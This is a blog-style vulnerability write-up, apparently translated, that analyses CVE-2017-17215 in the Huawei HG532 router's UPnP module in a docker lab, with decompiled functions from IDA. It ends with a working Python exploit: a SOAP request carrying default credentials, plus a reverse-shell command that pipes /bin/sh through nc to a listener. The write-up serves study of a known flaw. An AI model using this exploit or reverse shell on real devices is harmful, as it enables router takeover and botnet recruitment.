Vulnerability analysis: CVE-2017-17215

Vulnerability analysis: CVE-2017-17215

The command injection vulnerability of Huawei HG532 router lies in the UPnP module.

Vulnerability analysis

What is UPnP?

Set up the environment (using the docker environment of IOT vulhub), start the environment, and check the service and port monitoring started by the system.

  The vulnerability lies in the UPnP module. The functions of the UPnP protocol are roughly as follows:

1. The NAT gateway device has a public IP address (such as 10.59.116.19). If the host in the intranet (such as 192.168.1.101) wants to communicate with the outside world, the NAT gateway device can make a port mapping for it (such as 180.59.116.19: 80 - > 192.168.1.101: 80), The packets sent by the external host to the NAT gateway will be forwarded to the host in the intranet, so as to realize the communication between the host in the intranet and the external host;

2. When the intranet service needs to be accessed by the external network, a port mapping needs to be done to map the port of the intranet host to a port of the NAT gateway device. In this way, when accessing the port of the gateway device, it actually accesses the service of the intranet host. However, when multiple hosts in the intranet need to provide services to the outside, you need to manually configure the mapping port of the NAT gateway device to ensure that these intranet services will not be mapped to the same port of the NAT gateway device, otherwise port conflicts will occur, which will cause a lot of trouble to users;

3. The emergence of UPnP technology standard is to solve this problem, as long as the NAT device (router) supports UPnP and is turned on. Then, when our host (or the application on the host) sends a port mapping request to the NAT device, the NAT device can automatically assign ports to the host and perform port mapping. In this way, our host can be accessed by any host in the network like the public network host.

  In general, upnp provides an access mechanism from the external network to the internal network host. If there is a problem with the upnp module of the gateway device, it will be easier to attack the router and other gateway devices from the WAN port. HG532 uses upnp for firmware update. There is a command injection vulnerability in the firmware update process. It was first discovered by checkpoint that it was used by Mirai's variant OKIRU/SATORI to build a botnet.

 

Vulnerability function, where are you called?

Open the / bin/upnp file with IDA, and check the existing command injection points by searching the cross reference of the system and other command execution functions. Since the parameters of most command execution functions are hard coded, it is not difficult to find this vulnerability. After a simple search, you can see that a snprintf function does not verify the parameters in the process of passing the parameters, and then the address of the lattice string parameter read by snprintf is passed to the system function, The system calls upg to update the firmware. If the param1 and param2 parameters are controllable, the attacker's commands can be executed in the system.

Now we need to take a look at ATP_XML_GetChildNodeByName function. Since the firmware does not split the symbol table, you can roughly see what the function does through the function name:

int __fastcall ATP_XML_GetChildNodeByName(int a1, int NodeName, int *a3, _DWORD *param)
{
  int flag; // $s1
  int i; // $v0
  int v9; // $s0
  int NodeValue; // [sp+20h] [-8h] BYREF
  int ret_NodeName; // [sp+24h] [-4h] BYREF

  flag = 0x40090000;
  if ( NodeName )
  {
    for ( i = ((int (__fastcall *)(int))TSP_XML_GetNodeFirstChild)(a1); ; i = TSP_XML_GetNodeNextSibling(v9) )
    {                                           // ergodic xml node
      v9 = i;
      if ( !i )
      {
        if ( param )
          *param = 0;
        return 0x40090004;
      }
      flag = TSP_XML_GetNodeValue(i, 0, 0, &ret_NodeName, &NodeValue);// obtain xml The value of the node
      if ( flag )
      {
        if ( param )
          *param = 0;
        return flag;
      }
      if ( ret_NodeName && !strcmp(ret_NodeName, NodeName) )
        break;
    }
    if ( a3 )
      *a3 = v9;
    if ( param )
    {
      if ( NodeValue )
        ((void (*)(void))sub_408540)();
      *param = NodeValue;
    }
  }
  return flag;
}

Make a bold guess: by traversing the xml node, find the node with the same tag name as the second parameter, and then write the value of the xml node to the address of the fourth parameter. One of the pitfalls here is that I can't find the cross reference of the vulnerable function, and I don't know how to control the parameters of snprintf.

Here, first find the two strings "NewDownloadURL" and "NewStatusURL" in the squashfs root directory:

   

  Find the cross reference of DevUpg.xml string in upnp:

  View ATP_UPNP_RegDeviceAndService function. It is found that this function is effective for ATP_UPnP_RegDevice function and ATP_UPnP_RegService function has a large number of calls. It is speculated that this function may be mainly used to open the service for internal access from the external network.

 

  Look down and you can see an ATP_UPNP_RegAction function, which has two parameters:

  This parameter was previously used as ATP_ UPnp_ The last parameter of regdevice was passed in:

  We said before, ATP_ UPnP_ The regservice function may be used to open the UPnP service, which is ATP_UPNP_RegAction is likely to do some operations on the opened service. Follow up and have a look.

int __fastcall ATP_UPNP_RegAction(int service_id, int idx)
{
  int result; // $v0
  int *v4; // $s0
  char *funcname; // $s2
  int v6; // $s1

  if ( !service_id )
    return 0x40090000;
  result = 0x40090000;
  if ( *(_DWORD *)(service_id + 48) )
  {
    v4 = *(int **)(service_id + 36);
    if ( v4 )
    {
      funcname = g_astActionArray[4 * idx];
      while ( 1 )
      {
        if ( (v4[1] & 0x40000000) != 0 )
        {
          v6 = *v4;
          if ( !strcmp(*v4, funcname) )
            break;
        }
        v4 = (int *)v4[4];
        result = 0x40090000;
        if ( !v4 )
          return result;
      }
      ATP_UPNP_Free(v6);
      v4[1] &= 0xBFFFFFFF;
      *v4 = idx;
      result = 0;
    }
  }
  return result;
}

The focus here is on G_ The global variable astactionarray, which has not been recognized before, was modified and identified in IDA. It is found that it has a unique hole:

  This is a virtual table. aUpgrade and deviceupgrade (this is the vulnerability function) are the function names with subscripts 0 and 1 respectively. In this way, it makes sense that the cross reference of the corresponding vulnerability function could not be found before.

Let's take a look at the cross reference corresponding to this virtual table, except ATP_ UPNP_ In addition to the regaction function, where else is it called

UPnPGetActionByName returns G_ Function pointer in astactionarray:

  The function pointer is then called:

  To achieve this step, we can now sort out the reverse work.

We first found the vulnerability point by searching the cross reference of the system function, but we did not find the cross reference of the vulnerable function, because the function called the function pointer through the virtual table.

Then, by searching the key string in the firmware, we determine a key XML file to be parsed by UPnP protocol: DevUpg.xml. We go back to / bin/upnp to find the cross reference of the file name string by analyzing ATP_UPnp_RegDevice and ATP_ UPNP_ The regaction functions are found in IDA and correctly identify the virtual table.

Finally, by looking for other cross references of virtual functions, we find the place where the function pointer is called, and restore the execution process of the whole vulnerable function.

So what issues should we pay attention to now?

 

     We don't know the message format for controlling firmware upgrade. Only when we know the message format can we combine the injection point injection command found before.

The process of firmware update through UPnP is realized through a Web interface, which we need to find out. After completing these two steps, I feel that the process of vulnerability mining has been completely restored and started.

Find Web interface

In the reverse process, there is such a code:

    http_request is a variable I renamed. This variable must be a structure pointer, but there is no way to restore this structure for the time being. The function name UpnpGetServiceByUrl also attracted my attention (the variable url is also a variable I renamed, guessed according to the function name). Follow up to this function:

  In this way, the functions realized by this function can be guessed nine times out of ten, G_ The global variable pstupnpgvarhead was first set in ATP_ UPNP_ Assigned value in init function;

  Another function returns a client error in xml format:

 

At this stage, I think that if I continue the static analysis, I won't gain much. Log in to the router background to find the api and see if I can capture packets and analyze the traffic is the only way out.

 

 

  The background does have the function of firmware upgrade, but it doesn't seem to work in docker. I sent tcpdump to the target without capturing the traffic of port 37215. I looked at the vulnerability announcement and analysis of check point and tried to construct exp.

Exploit vulnerability

  The checkpoint article mentioned that the traffic was captured through the honeypot.

The message format of controlling firmware upgrade through UPnP protocol is shown in the figure above, in which the contents in NewStatusURL and NewDownloadURL tags are our controllable command injection points. Failed to bounce shell through nc. The bounce shell passed by wget to msf is still stable

http authentication is required in exp, otherwise a 401 error will be reported.

 

import requests
from threading import Thread
from requests.auth import HTTPDigestAuth

cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.1 3456 > /tmp/f"
#cmd = "mkdir /tmp/poc"
payload = '''<?xml version=\"1.0\" ?>\n'''
payload += '''<s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n'''
payload += '''<s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\">\n'''
payload += '''<NewStatusURL>;$(./tools/msf);</NewStatusURL>\n'''
payload += '''<NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>\n</u:Upgrade>\n'''
payload += '''</s:Body>\n'''
payload += '''</s:Envelope>'''
url = "http://192.168.2.2:37215/ctrlt/DeviceUpgrade_1"
# r = requests.post(url,data = payload)

r = requests.post(url,auth = HTTPDigestAuth('dslf-config', 'admin') ,data = payload)
print(r.status_code)

 

summary

About this vulnerability, I feel that some articles on the Internet have built an environment, then directly find a command injection point, and call an exp according to the information given in the vulnerability announcement, which lacks some details. In the process of analysis, I added some ideas and ideas from my own learning and research. In this process, I also had some understanding of UPnP protocol and deepened my understanding of command injection vulnerability data flow.

Reference link:

https://zhuanlan.zhihu.com/p/40407669

https://nosec.org/home/detail/4871.html

https://research.checkpoint.com/2017/good-zero-day-skiddie/

 

 

 

 

 

   

Tags: pwn

Posted on Fri, 03 Dec 2021 20:49:00 -0500 by affluent980